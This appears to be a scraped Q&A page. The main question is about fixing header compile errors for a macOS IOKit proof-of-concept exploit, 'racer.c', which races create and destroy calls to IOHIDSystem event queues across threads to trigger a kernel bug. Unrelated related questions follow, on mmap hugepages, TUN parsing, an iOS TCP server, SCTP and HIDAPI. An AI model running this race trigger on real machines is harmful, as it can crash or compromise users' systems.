Xcode Building fails why? - ios

Is my headers corrupted or something? or is something missing ? I already uninstalled and deleted everything and all the folders xcode made in /Library and did a fresh reinstall and yet im still gettin errors such as:
Heres my command :
clang -o racer racer.c -framework IOKit
Errors:
typedef uintptr_t vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:107:50: error: expected ';' after top level declarator
typedef uint64_t mach_vm_address_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:108:49: error: expected ';' after top level declarator
typedef uint64_t mach_vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:111:48: error: expected ';' after top level declarator
typedef uint64_t vm_map_offset_t __kernel_ptr_semantics;
^~~~~~~~~~~~~~~~~~~~~~~~~
1 warning and 10 errors generated.
Summary of the terminal output it's repetitive in multiple default XCode headers i've tried compiling in xcode itself and clang and each one didn't work for me
Heres the Sample Code from a POC exploit I'm trying to compile
// racer.c
// race
//
// Created by Booty Warrior on 7/19/22.
//
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <IOKit/IOKitLib.h>
#include <pthread.h>
io_connect_t conn = MACH_PORT_NULL;
uint32_t callCreate(io_connect_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = 32;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 1;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
0,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to createEventQueue 0x%x\n", err);
}
return outputScalar[0];
}
void callDestroy(io_connect_t conn, uint32_t queueID) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = queueID;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to destroyEventQueue 0x%x\n", err);
}
}
void race(uint32_t queueID) {
callDestroy(conn, queueID);
}
int main1(void)
{
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDSystem");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMainPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
err = IOServiceOpen(service, mach_task_self(), 3, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
while(1) {
uint32_t queueID = callCreate(conn);
pthread_t t;
pthread_create(&t, NULL, (void *(*)(void *)) race, (void*) (uint32_t)queueID);
callDestroy(conn, queueID);
pthread_join(t, NULL);
}
return 0;
}
My Mac Version is Mac Montery M1 Macbook air 12.3.1 with xcode version 13.4.1
Thanks for any help, tips, or solutions...

got help from outside source they stated putting #define __kernel_ptr_semantics at the very top of the Code which worked for me.

Related

hugepages allocated by mmap is slower than posix_memalign

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <sys/mman.h>
#include <time.h>
#define HUGEPAGE 2048*1024
void *normal_malloc(int len)
{
void *ptr = malloc(len);
bzero(ptr, len);
return ptr;
}
void *trans_malloc(int len)
{
void *ptr = NULL;
int ret = posix_memalign(&ptr, HUGEPAGE, len);
if(ret) perror("posix_memalign");
ret = madvise(ptr, len, MADV_HUGEPAGE);
bzero(ptr, len);
return ptr;
}
void *mmap_malloc(int len)
{
void *ptr = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, -1,0);
return ptr;
}
int main(int argc, char **argv)
{
char *ptr = NULL;
int len = HUGEPAGE*256;
srand(time(NULL));
switch(argc){
case 1: ptr = normal_malloc(len);break;
case 2: ptr = trans_malloc(len);break;
case 3: ptr = mmap_malloc(len); break;
}
long j = 0;
for(int i=0;i<len;i++){
j += ptr[rand()%len];
}
return 0;
}
I use normal malloc and posix_memalign and mmap to test performance.
My test result is :
malloc cost about 29.7s, posix_memalign cost about 23.5s, and mmap is very near with malloc.
Both posix_memalign and mmap uses hugepages. Why one has obvious improvement, the other not? Do I use mmap in the wrong way?
I don't do bzero for mmap since the man pages says "its contents are initialized to zero".

How may I use PCAP or other library to parse layer 3 frame received from TUN?

This is how I receive layer 3 frame from TUN.
Written based on docs:
https://www.kernel.org/doc/Documentation/networking/tuntap.txt
http://backreference.org/2010/03/26/tuntap-interface-tutorial/
Unpacking from http://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <linux/if_tun.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/time.h>
#include <errno.h>
#include <stdarg.h>
/* buffer for reading from tun/tap interface, must be >= 1500 */
#define BUFSIZE 2000
int tun_alloc(char *dev)
{
struct ifreq ifr;
int fd, err;
if (!dev) {
return -1;
}
memset(&ifr, 0, sizeof(ifr));
/* Flags: IFF_TUN - TUN device (no Ethernet headers)
* IFF_TAP - TAP device
*
* IFF_NO_PI - Do not provide packet information
* IFF_MULTI_QUEUE - Create a queue of multiqueue device
*/
ifr.ifr_flags = IFF_TUN;
strcpy(ifr.ifr_name, dev);
if ((fd = open("/dev/net/tun", O_RDWR)) < 0)
return fd;
err = ioctl(fd, TUNSETIFF, (void *)&ifr);
if (err) {
close(fd);
goto err;
}
strcpy(dev, ifr.ifr_name);
return fd;
err:
close(fd);
return err;
}
int main() {
char *tun_name;
tun_name = malloc(IFNAMSIZ);
tun_name[0] = '\0';
int tun_fd = tun_alloc(tun_name);
if (tun_fd < 0) {
puts("Try as root");
exit(1);
}
if (ioctl(tun_fd, TUNSETPERSIST, 0) < 0) {
perror("disabling TUNSETPERSIST");
exit(1);
}
printf("Set interface '%s' nonpersistent\n", tun_name);
struct layer3_frame
{
uint16_t flags;
uint16_t proto;
uint8_t version;
unsigned char payload[];
} __attribute__((packed));
int nread;
char buffer[BUFSIZE];
while(1) {
nread = read(tun_fd, buffer, sizeof(buffer));
if(nread < 0) {
perror("Reading from interface");
close(tun_fd);
exit(1);
}
/* Do whatever with the data */
printf("Read %d bytes from device %s\n", nread, tun_name);
struct layer3_frame* l3f = (struct layer3_frame*)(buffer);
printf("FLAGS %d, PROTO %d, VER %d", l3f->flags, l3f->proto, l3f->version);
// E.g. FLAGS 0, PROTO 56710, VER 96
// Why PROTO is not 4 or 6, why VER is not 4 or 6?
// MAIN: HOW TO USE PCAP TO PARSE l3f FURTHER
// AND GET INFO UP TO SNI (server name indication), e.g.
}
return 0;
}
To play:
gcc index.c
sudo ./a.out
sudo ip link set tun0 up
PCAP usually is not used for parsing packets.
You may use however:
#include <netinet/ip.h>
#include <netinet/ip6.h>
//...
struct layer3_frame
{
uint16_t flags; // FLAGS from TUN
uint16_t proto; // PRPTO from TUN
unsigned char payload[]; // FRAME/PACKET
} __attribute__((packed));
const struct ip* ippacket = (struct ip*)(l3p->payload);
printf("Version is %d", ippacket->ip_v)
3. About strange values for PROTO like 56710 try printf("FFF: %x", ntohs(56710)) you will get 86dd which you may look up at https://en.wikipedia.org/wiki/EtherType

Cannot run TCP server on iOS, cellular

I am trying to run a TCP server on iOS from Cellular. For purposes of asking this question, I wrote this very simplified version of a server and client in C using socket/bind/listen/accept/etc. This works fine when I run the server program from a server. When I run the server program from an iOS app via Cellular (no Wifi), the client never connects to the server. Here is my code:
Server:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pthread.h>
#include "tcp_server_IPv4.h"
#define SZ_SOCKADDR_IN sizeof(struct sockaddr_in)
void pfail(char *w) {
printf("pfail %s\n", w);
perror(w);
exit(1);
}
void *tcp_server_IPv4_thread_routine(void *arg) {
int tcp4_sockfd = 0, tcp4_new_fd = 0;
char wes[64];
tcp4_sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in their_addr = {0};
struct sockaddr_in serv_addr = {0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(0);
int br = bind(tcp4_sockfd, (struct sockaddr*)&serv_addr, SZ_SOCKADDR_IN);
if (br == -1) {
pfail("PROBLEM BINDING");
}
int lr = listen(tcp4_sockfd, 5);
if (lr == -1) {
pfail("PROBLEM LISTENING");
}
socklen_t gsn_len = sizeof(serv_addr);
int gsn = getsockname(tcp4_sockfd, (struct sockaddr*)&serv_addr, &gsn_len);
if (gsn == -1) pfail("getsockname");
inet_ntop(AF_INET, &serv_addr, wes, sizeof(wes));
printf("start listening on (%s) port (%d)...", wes, ntohs(serv_addr.sin_port));
int tcp_running = 1;
while (tcp_running) { // main accept() loop
socklen_t sin_size = sizeof their_addr;
tcp4_new_fd = accept(tcp4_sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (tcp4_new_fd == -1) {
perror("accept");
continue;
}
inet_ntop(their_addr.sin_family, &their_addr.sin_addr, wes, sizeof wes);
printf("server: got connection from %s\n", wes);
if (!fork()) { // this is the child process
close(tcp4_sockfd); // child doesn't need the listener
if (send(tcp4_new_fd, "Hello, world!", 13, 0) == -1)
perror("send");
close(tcp4_new_fd);
exit(0);
}
close(tcp4_new_fd); // parent doesn't need this
}
pthread_exit("exiting fire_up_tcp thread normally");
}
void start_tcp_server_IPv4() {
pthread_t tcpt4;
char *w4 = "TCP server IPv4 thread";
int pr4 = pthread_create(&tcpt4, NULL, tcp_server_IPv4_thread_routine, (void *)w4);
if (pr4) pfail("create thread for fire_up_tcp_server_v4");
}
Client:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT_NUMBER 57020
#define SERVER_ADDRESS "70.208.71.248"
#define MAXDATASIZE 200 // max number of bytes we can get at once
int main(int argc, char *argv[]) {
int sockfd, numbytes;
char buf[MAXDATASIZE];
char ip_str[INET6_ADDRSTRLEN];
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("client: socket");
exit(1);
}
struct sockaddr_in sa_server = {0};
sa_server.sin_family = AF_INET;
inet_pton(AF_INET, SERVER_ADDRESS, &(sa_server.sin_addr));
sa_server.sin_port = htons(PORT_NUMBER);
inet_ntop(AF_INET, &sa_server.sin_addr, ip_str, sizeof ip_str);
printf("Try connecting to (%s)(%d)\n", ip_str, ntohs(sa_server.sin_port));
if (connect(sockfd, (struct sockaddr *)&sa_server, sizeof(struct sockaddr_in)) == -1) {
fprintf(stderr, "Error on connect --> %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
puts("CLIENT::Connection successful.");
char fr[128];
sprintf(fr, "Some text here to send");
if (send(sockfd, fr, sizeof fr, 0) < 0) {
fprintf(stderr, "Error on send --> %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
if ((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1) {
perror("recv");
exit(1);
}
buf[numbytes] = '\0';
printf("client: received '%s'\n",buf);
close(sockfd);
return 0;
}
Results from running getifaddrs() on the iOS device. All pdp_ip addresses are up and running:
(interface)(family)(ip)
(lo0)(2)(127.0.0.1)
(lo0)(30)(::1)
(lo0)(30)
(pdp_ip0)(2)(100.114.61.107)
(pdp_ip0)(30)(fe80::4d5:31ee:ba73:d63a)
(pdp_ip0)(30)(2600:1001:b101:600d:1076:2a12:b461:2a02)
(pdp_ip0)(30)(2600:1001:b101:600d:89e3:c982:c32a:b6b2)
(pdp_ip2)(30)(fe80::18b6:a5a7:33a2:13f6)
(pdp_ip2)(30)(2600:1001:812f:cec5:49:69a:d1b9:cc47)
(pdp_ip2)(30)(2600:1001:812f:cec5:e936:25c5:702:e067)
(pdp_ip2)(30)(2600:1001:812f:cec5:48de:1765:5cb5:d56c)
(en2)(30)(fe80::10d5:2496:594f:ff72)
(en2)(2)(169.254.249.210)
(ipsec1)(30)(fe80::26f0:94ff:fe9a:50bc)
(utun0)(30)(fe80::99a1:9bf7:428e:8166)
(utun1)(30)(fe80::4b1d:be95:bbf2:bf02)
(utun2)(30)(fe80::1748:1a1a:c5ee:bda9)
(utun3)(30)(fe80::d3c1:79bc:7613:ffb)
(utun4)(30)(fe80::d3c8:e837:ba74:67dc)

SCTP Multistreaming: infinite loop

I have a simple client-server application on SCTP! The client connects to server opening 3 streams and the server sends a file per stream. The problem is that I don't know how to control the 3 streams, to know when sctp_rcvmsg() from a stream i 0 it would mean that the file transmission is ended for that stream...but it seems that sctp_recvmsg() never stops. here's my code.
CLIENT
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdlib.h>
#include <time.h>
#define BUFFERSIZE 1024
int main(int argc, char** argv) {
int i, sockCliSCTP, flags, res;
/* Server netwrok informations */
struct sockaddr_in servAddr;
/* To get which stream it has received data from */
struct sctp_sndrcvinfo sndrcvinfo;
/* Init message to setup number of streams */
struct sctp_initmsg initmsg;
/* Catching events */
struct sctp_event_subscribe events;
/* Buffer to receive files */
char buffer[BUFFERSIZE];
/* Remove previous recently used files */
remove("first.txt");
remove("second.txt");
remove("third.txt");
char ipServ[32] = "127.0.0.1";
short int servPort = 29008;
/* BEGIN SCTP PART */
/* Creating client socket for SCTP protocol */
sockCliSCTP = socket( AF_INET, SOCK_STREAM, IPPROTO_SCTP );
/* Specify that a maximum of 3 streams will be available per socket */
memset( &initmsg, 0, sizeof(initmsg) );
initmsg.sinit_num_ostreams = 3; /* output streams */
initmsg.sinit_max_instreams = 3; /* input streams */
initmsg.sinit_max_attempts = 2;
setsockopt(sockCliSCTP, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg) );
/* Initializing server network data structs */
bzero( (void *)&servAddr, sizeof(servAddr) );
servAddr.sin_family = AF_INET;
inet_pton(AF_INET, ipServ, &servAddr.sin_addr);
servAddr.sin_port = htons(29008);
int sizeServ = sizeof(servAddr);
/* Connect to server */
res = connect(sockCliSCTP, (struct sockaddr *)&servAddr, sizeof(servAddr));
if (res < 0) {
printf("Connection to server refused!\n");
exit(1);
}
memset( (void *)&events, 0, sizeof(events) );
events.sctp_data_io_event = 1;
res = setsockopt(sockCliSCTP, SOL_SCTP, SCTP_EVENTS, (const void *)&events, sizeof(events));
if (res < 0) {
printf("setsockopt failed!\n");
exit(1);
}
/* The clients simply waits and receives for three files from the server.
* The size of the files is increased each time this client is launched. */
FILE *oneF, *twoF, *threeF;
oneF = fopen("first.txt", "a"); /* Stream 0 */
twoF = fopen("second.txt", "a"); /* Stream 1 */
threeF = fopen("third.txt", "a"); /* Stream 2 */
/* To measure time */
time_t timeStart;
time_t timeEnd;
time_t timeRes = 0;
time(&timeStart);
int count0 = 0, count1 = 0, count2 = 0;
int checkRead[3];
for(i = 0; i<3; i++) {
checkRead[i] = 1;
}
/* Receiving in parallel the files from 3 streams */
while(checkRead[0] || checkRead[1] || checkRead[2]) {
printf("%d %d %d\n", checkRead[0], checkRead[1], checkRead[2]);
res = sctp_recvmsg(sockCliSCTP, (void*)buffer, sizeof(buffer), (struct sockaddr*)&servAddr, (socklen_t *)&sizeServ, &sndrcvinfo, &flags);
if (res == 0) {
printf("%d stream is zero\n", sndrcvinfo.sinfo_stream);
checkRead[sndrcvinfo.sinfo_stream] = 0;
continue;
}
/* Check from which stream the data came in */
switch(sndrcvinfo.sinfo_stream) {
/* Write on file oneF --> first.txt */
case 0:
count0++;
printf("Message received from stream 0\n");
//printf("%s\n\n", buffer);
fprintf(oneF, "%s", buffer);
break;
/* Write on file twoF --> second.txt */
case 1:
count1++;
printf("Message received from stream 1\n");
//printf("%s\n\n", buffer);
fprintf(twoF, "%s", buffer);
break;
/* Write on file threeF --> third.txt */
case 2:
count2++;
printf("Message received from stream 2\n");
//printf("%s\n\n", buffer);
fprintf(threeF, "%s", buffer);
break;
}
memset(buffer, 0, sizeof(buffer));
sleep(1);
}
close(sockCliSCTP);
time(&timeEnd);
timeRes = timeEnd - timeStart;
printf("Time elapsed is: %d seconds\n", (int)timeRes);
printf("%d messages on stream 0,\n %d messages on stream 1,\n %d messages on stream 2\n", count0, count1, count2);
}
AND THE SERVER:
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <stdlib.h>
#include <time.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFERSIZE 1024
int main(int argc, char** argv) {
int sockCli, sockServ, one, two, three, i, res;
struct sockaddr_in client, server;
/* data struct to declarate streams */
struct sctp_initmsg initmsg;
/* buffer to read from file */
char buffer[BUFFERSIZE];
/* socket server listening */
sockServ = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
bzero( (void *)&client, sizeof(client));
bzero( (void *)&server, sizeof(server));
/* Preparing sever data struct and bind() */
bzero( (void *)&server, sizeof(server) );
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl( INADDR_ANY );
server.sin_port = htons(29008);
bind(sockServ, (struct sockaddr *)&server, sizeof(server));
/* Maximum of 3 streams will be available per socket */
memset( &initmsg, 0, sizeof(initmsg) );
initmsg.sinit_num_ostreams = 3;
initmsg.sinit_max_instreams = 3;
initmsg.sinit_max_attempts = 2;
res = setsockopt(sockServ, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));
if (res < 0) {
printf("setsockopt() failed!\n");
exit(1);
}
/* Preparing the three files to be sent */
one = open("files/first.txt", O_RDONLY);
if (one < 0) {
printf("Error on opening first file!\n");
exit(1);
}
two = open("files/second.txt", O_RDONLY);
if (two < 0) {
printf("Error on opening second file!\n");
exit(1);
}
three = open("files/third.txt", O_RDONLY);
if (three < 0) {
printf("Error on opening third files!\n");
exit(1);
}
int checkFiles[3];
for(i=0; i<3; i++) {
checkFiles[i] = 1;
}
res = listen(sockServ, 5);
if (res < 0) {
printf("listen() failed!\n");
exit(1);
}
while(1) {
ssize_t readRes;
int len = sizeof(client);
sockCli = accept(sockServ, (struct sockaddr*)&client, &len);
if (sockCli < 0) {
printf("Error on accept()!\n");
exit(1);
}
printf("Associated to client!\n");
while(1) {
memset(buffer, 0, sizeof(buffer));
if ((readRes = read(one, (void*)buffer, sizeof(buffer))) > 0) {
sctp_sendmsg(sockCli, (void*)buffer, (size_t)strlen(buffer), NULL, 0, 0, 0, 0 /* stream number */, 0, 0);
}
memset(buffer, 0, sizeof(buffer));
if ((readRes = read(two, (void*)buffer, sizeof(buffer))) > 0) {
sctp_sendmsg(sockCli, (void*)buffer, (size_t)strlen(buffer), NULL, 0, 0, 0, 1 /* stream number */, 0, 0);
}
memset(buffer, 0, sizeof(buffer));
if ((readRes = read(three, (void*)buffer, sizeof(buffer))) > 0) {
sctp_sendmsg(sockCli, (void*)buffer, (size_t)strlen(buffer), NULL, 0, 0, 0, 2 /* stream number */, 0, 0);
}
else {break;}
}
close(sockCli);
close(one);
close(two);
close(three);
}
}
Where am I making a mistake? :(
sctp_recvmsg doesn't receive a message from a single stream. It simply returns ANY message received and then the application can figure out which stream the message came from.
After all the data has been received by your client when this code executes:
res = sctp_recvmsg(sockCliSCTP, (void*)buffer, sizeof(buffer), (struct sockaddr*)&servAddr, (socklen_t *)&sizeServ, &sndrcvinfo, &flags);
if (res == 0) {
printf("%d stream is zero\n", sndrcvinfo.sinfo_stream);
checkRead[sndrcvinfo.sinfo_stream] = 0;
continue;
}
res becomes 0 since no message is received and the sndrcvinfo structure does not get changed. So sndrcvinfo.sinfo_stream will remain equal to whatever stream the last message came from and you will get stuck in a loop since you won't change the checkRead[] values.
There's some other errors that will make the server/client behave strangely.
For example you can't run the client twice in a row without a a segmentation fault since the server closes the file descriptors and won't send any data the second time. Because of this you will segfault when you do:
checkRead[sndrcvinfo.sinfo_stream] = 0;
since sndrcvinfo will be a null pointer.

HIDAPI in two threads

According to https://github.com/signal11/hidapi/issues/72 HIDAPI ought to be thread safe on Linux machines. However, I can't get it working at all. This is what I do:
#ifdef WIN32
#include <windows.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <stdlib.h>
#include <assert.h>
#include "hidapi.h"
hid_device *handle;
static void *TaskCode(void *argument)
{
int res;
//hid_device *handle;
unsigned char buf[64];
// res = hid_init();
// if( res == -1 )
// {
// return (void*)1;
// }
//
// handle = hid_open(0x0911, 0x251c, NULL);
// if( handle == NULL )
// {
// return (void*)2;
// }
printf( "while 2\n");
while( 1 )
{
memset( buf, 64, 0 );
res = hid_read(handle, buf, 0);
if( res == -1 )
{
return (void*)3;
}
printf( "received %d bytes\n", res);
for (int i = 0; i < res; i++)
printf("Byte %d: %02x ", i+1, buf[i]);
//printf( "%02x ", buf[0]);
fflush(stdout);
}
return (void*)0;
}
int main(int argc, char* argv[])
{
int res;
//hid_device *handle;
unsigned char buf[65];
res = hid_init();
if( res == -1 )
{
return 1;
}
handle = hid_open(0x0911, 0x251c, NULL);
if( handle == NULL )
{
return 2;
}
hid_set_nonblocking( handle, 0 );
pthread_t thread;
int rc = pthread_create(&thread, NULL, TaskCode, NULL);
printf( "while 1\n");
while(1)
{
int a = getchar();
if( a == 'a')
{
// Get Device Type (cmd 0x82). The first byte is the report number (0x0).
buf[0] = 0x0;
buf[1] = 0x82;
res = hid_write(handle, buf, 65);
if( res != -1 )
printf( "write ok, transferred %d bytes\n", res );
else
{
printf( "write error\n" );
char* str = hid_error(handle);
printf( "error: %s\n", str );
return 1;
}
}
else if( a== 'b')
break;
}
void* trc;
rc = pthread_join(thread, &trc);
printf( "rc code: %d\n", (int)trc );
// Finalize the hidapi library
res = hid_exit();
return 0;
}
If I don't use the global handle, I get 'write error' every time. If I do, as in the example, formally everything works but hid_read always returns 0 bytes... Of course, if I do simple hid_write() followed by hid_read(), I'll get the correct reply to the command 0x82 as intended. I'm really lost here, am I overlooking something?
EDIT: to clarify, zero bytes return also for everything, incl. buttons on mouse etc. So it seems to work but the data buffer is always zero bytes.
Shame on me, a dumb mistake. The code should be:
memset( buf, 0, 64 );
res = hid_read(handle, buf, 64);
and then it works. Should sleep more and write less!

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